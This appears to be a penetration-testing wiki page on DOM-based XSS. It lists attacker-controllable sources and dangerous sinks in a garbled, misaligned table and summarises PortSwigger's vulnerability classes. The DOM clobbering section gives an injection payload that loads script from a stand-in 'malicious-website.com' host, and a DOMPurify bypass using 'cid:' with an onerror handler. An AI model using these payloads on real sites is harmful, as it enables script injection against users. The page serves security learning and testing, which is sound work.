23 KiB
DOM XSS
DOM vulnerabilities
Sources
A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the
location.search
property because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL (exposed by thedocument.referrer
string), the user's cookies (exposed by thedocument.cookie
string), and web messages.
Sinks
A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. For example, the
eval()
function is a sink because it processes the argument that is passed to it as JavaScript. An example of an HTML sink isdocument.body.innerHTML
because it potentially allows an attacker to inject malicious HTML and execute arbitrary JavaScript.
Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session.
{% hint style="info" %} You can find a more updated list of sources and sinks in https://github.com/wisec/domxsswiki/wiki {% endhint %}
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
Open Redirect | Javascript Injection**** | DOM-data manipulation**** | jQuery |
---|---|---|---|
location |
eval() |
scriptElement.src |
add() |
location.host |
Function() constructor |
scriptElement.text |
after() |
location.hostname |
setTimeout() |
scriptElement.textContent |
append() |
location.href |
setInterval() |
scriptElement.innerText |
animate() |
location.pathname |
setImmediate() |
someDOMElement.setAttribute() |
insertAfter() |
location.search |
execCommand() |
someDOMElement.search |
insertBefore() |
location.protocol |
execScript() |
someDOMElement.text |
before() |
location.assign() |
msSetImmediate() |
someDOMElement.textContent |
html() |
location.replace() |
range.createContextualFragment() |
someDOMElement.innerText |
prepend() |
open() |
crypto.generateCRMFRequest() |
someDOMElement.outerText |
replaceAll() |
domElem.srcdoc |
``Local file-path manipulation**** | someDOMElement.value |
replaceWith() |
XMLHttpRequest.open() |
FileReader.readAsArrayBuffer() |
someDOMElement.name |
wrap() |
XMLHttpRequest.send() |
FileReader.readAsBinaryString() |
someDOMElement.target |
wrapInner() |
jQuery.ajax() |
FileReader.readAsDataURL() |
someDOMElement.method |
wrapAll() |
$.ajax() |
FileReader.readAsText() |
someDOMElement.type |
has() |
``Ajax request manipulation**** | FileReader.readAsFile() |
someDOMElement.backgroundImage |
constructor() |
XMLHttpRequest.setRequestHeader() |
FileReader.root.getFile() |
someDOMElement.cssText |
init() |
XMLHttpRequest.open() |
FileReader.root.getFile() |
someDOMElement.codebase |
index() |
XMLHttpRequest.send() |
Link manipulation | someDOMElement.innerHTML |
jQuery.parseHTML() |
jQuery.globalEval() |
someDOMElement.href |
someDOMElement.outerHTML |
$.parseHTML() |
$.globalEval() |
someDOMElement.src |
someDOMElement.insertAdjacentHTML |
Client-side JSON injection |
``HTML5-storage manipulation**** | someDOMElement.action |
someDOMElement.onevent |
JSON.parse() |
sessionStorage.setItem() |
XPath injection**** | document.write() |
jQuery.parseJSON() |
localStorage.setItem() |
document.evaluate() |
document.writeln() |
$.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** |
someDOMElement.evaluate() |
document.title |
``Cookie manipulation**** |
requestFileSystem() |
``Document-domain manipulation**** | document.implementation.createHTMLDocument() |
document.cookie |
RegExp() |
document.domain |
history.pushState() |
WebSocket-URL poisoning |
Client-Side SQl injection | Web-message manipulation | history.replaceState() |
WebSocket |
executeSql() |
postMessage() |
`` | `` |
The innerHTML
sink doesn't accept script
elements on any modern browser, nor will svg onload
events fire. This means you will need to use alternative elements like img
or iframe
.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it's **using **any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.
Examples
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
How
DOM-based open-redirection vulnerabilities arise when a script writes attacker-controllable data into a **sink **that can trigger cross-domain navigation.
Remember that if you can start the URL were the victim is going to be redirected, you could execute arbitrary code like: javascript:alert(1)
Sinks
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
How
DOM-based cookie-manipulation vulnerabilities arise when a script writes attacker-controllable data into the value of a cookie.
This could be abuse to make the page behaves on unexpected manner (if the cookie is used in the web) or to perform a session fixation attack (if the cookie is used to track the user's session).
Sinks
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
How
DOM-based JavaScript-injection vulnerabilities arise when a script executes attacker-controllable data as JavaScript.
Sinks
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
How
Document-domain manipulation vulnerabilities arise when a script uses **attacker-controllable data to set **the document.domain
property.
The document.domain
property is used by browsers in their **enforcement **of the same origin policy. If two pages from **different origins explicitly set the same document.domain
value, then those two pages can interact in unrestricted ways.
Browsers generally enforce some restrictions on the values that can be assigned to document.domain
, and may prevent the use of completely different values than the actual origin of the page. But this doesn't occur always and they usually allow to use child **or parent domains.
Sinks
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
How
WebSocket-URL poisoning occurs when a script uses controllable data as the target URL of a WebSocket connection.
Sinks
The WebSocket
constructor can lead to WebSocket-URL poisoning vulnerabilities.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
How
DOM-based link-manipulation vulnerabilities arise when a script writes attacker-controllable data to a navigation target within the current page, such as a clickable link or the submission URL of a form.
Sinks
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
How
Ajax request manipulation vulnerabilities arise when a script writes **attacker-controllable data into the an Ajax request **that is issued using an XmlHttpRequest
object.
Sinks
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
How
Local file-path manipulation vulnerabilities arise when a script passes attacker-controllable data to a file-handling API as the filename
parameter. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause the user's browser to open/write an arbitrary local file.
Sinks
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
How
Client-side SQL-injection vulnerabilities arise when a script incorporates attacker-controllable data into a client-side SQL query in an unsafe way.
Sinks
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
How
HTML5-storage manipulation vulnerabilities arise when a script stores attacker-controllable data in the HTML5 storage of the web browser (either localStorage
or sessionStorage
).
This behavior does not in itself constitute a security vulnerability. However, if the application later reads data back from storage and processes it in an unsafe way, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection.
Sinks
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
How
DOM-based XPath-injection vulnerabilities arise when a script incorporates** attacker-controllable data into an XPath query**.
Sinks
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
How
DOM-based JSON-injection vulnerabilities arise when a script incorporates** attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**.
Sinks
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
How
Web-message vulnerabilities arise when a script sends **attacker-controllable data as a web message to another document **within the browser.
**Example **of vulnerable Web-message manipulation in https://portswigger.net/web-security/dom-based/controlling-the-web-message-source
Sinks
The postMessage()
method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
How
DOM-data manipulation vulnerabilities arise when a script writes attacker-controllable data to a field within the DOM that is used within the visible UI or client-side logic. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will modify the appearance or behaviour of the client-side UI.
Sinks
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
How
DOM-based denial-of-service vulnerabilities arise when a script passes** attacker-controllable data in an unsafe way to a problematic platform API**, such as an API whose invocation can cause the user's computer to consume excessive amounts of CPU or disk space. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in localStorage
or killing busy scripts.
Sinks
requestFileSystem()
RegExp()
DOM Clobbering
A common pattern used by JavaScript developers is:
var someObject = window.someObject || {};
If you can control some of the HTML on the page, you can clobber the someObject
reference with a DOM node, such as an anchor. Consider the following code:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
To exploit this vulnerable code, you could inject the following HTML to clobber the someObject
reference with an anchor element:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
Injecting that data window.someObject.url
is going to be href=//malicious-website.com/malicious.js
Trick: DOMPurify
allows you to use the cid:
protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. Therefore, injecting something like <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
will make the HTML encoded "
to be** decoded on runtime** and **escape **from the attribute value to **create **the onerror
event.
Another common technique consists on using form
element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you **create an input
**inside the form with id=attributes
, you will clobber the attributes property and the sanitizer **won't **be able to go through the real attributes.